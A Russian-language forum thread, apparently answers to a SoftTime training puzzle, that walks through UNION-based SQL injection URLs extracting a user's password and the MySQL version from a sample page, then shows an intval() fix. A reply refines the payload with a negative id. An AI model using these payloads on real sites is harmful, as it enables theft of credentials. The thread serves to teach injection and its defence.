|
|
|
| Ответ 002 на задачу N 11.
С условиями задачи можно ознакомится по ссылке.
Так как хакер у нас ленивый, то используем минимум знаний: название поля с шв юзера нам предположительно известно из адресной строки, а поле pass - мы подобрали, так как это распространенное название.
Теперь подставляем в запрос UNION известные значения до тех пор, пока сервер не перестает ругаться о несоотвествии полей:
http://test.ru/user.php?id_user=2%20UNION%20SELECT%20pass,%20pass,%20pass,%20pass,%20pass%20%20FROM%20userslist%20%20WHERE%20id_user=2%20ORDER%20BY%20id_user%20DESC
|
Этот запрос выведет во всех полях пароль пользователя. Если не вывел, надо просто поменять условие сортировки с DESC на ASC
http://test.ru/user.php?id_user=2%20UNION%20SELECT%20VERSION(),%20VERSION(),%20VERSION(),%20VERSION(),%20VERSION()%20FROM%20userslist%20WHERE%20id_user=2%20ORDER%20BY%20id_user%20DESC
|
А это версия сервера. Справедливости ради: этот запрос срабатывает только если таблица в кодировке UTF8. Уж не знаю, особенности ли это моего сервера, но если нет, то можно считать что со вторым запросом я не справился.
защищаемся от инъекции так:
<?
//приводим значение из гет к числу
$id_user=intval($_GET[id_user]);
$query = "SELECT * FROM userslist WHERE id_user = $id_user";
?>
|
За задачку спасибо! Было интересно применить на практике то, о чем столько слышал:)
http://www.softtime.ru/info/task.php?id_article=81 | |
|
|
|
|
|
|
|
для: SoftTime
(06.03.2006 в 22:58)
| | Всё-так в качестве первого значения не следовало передавать значение 2, тоже что испльзуется во втором SELECT-запросе, так как в таких условиях конструкция ORDER BY id_user просто бесполезна - так у меня SQL-запрос на версию работает, а вот на пароль уже нет. И это понятно, MySQL выводит записи в случайном порядке. Т.е. надёжнее было бы использовать эксплоит вида
-1%20UNION%20SELECT%20pass,%20pass,%20pass,%20pass,%20pass%20%20FROM%20userslist%20%20WHERE%20id_user=2%20ORDER%20BY%20id_user%20DESC
|
Вместо -1 можно использовать 0 или 1, всё что меньше 2.
Защита очень лаконичная и не пугает разработчика регулярными выражениями - понравилась (хотя сам всё-равно буду пользоваться регулярными выражениями :). | |
|
|
|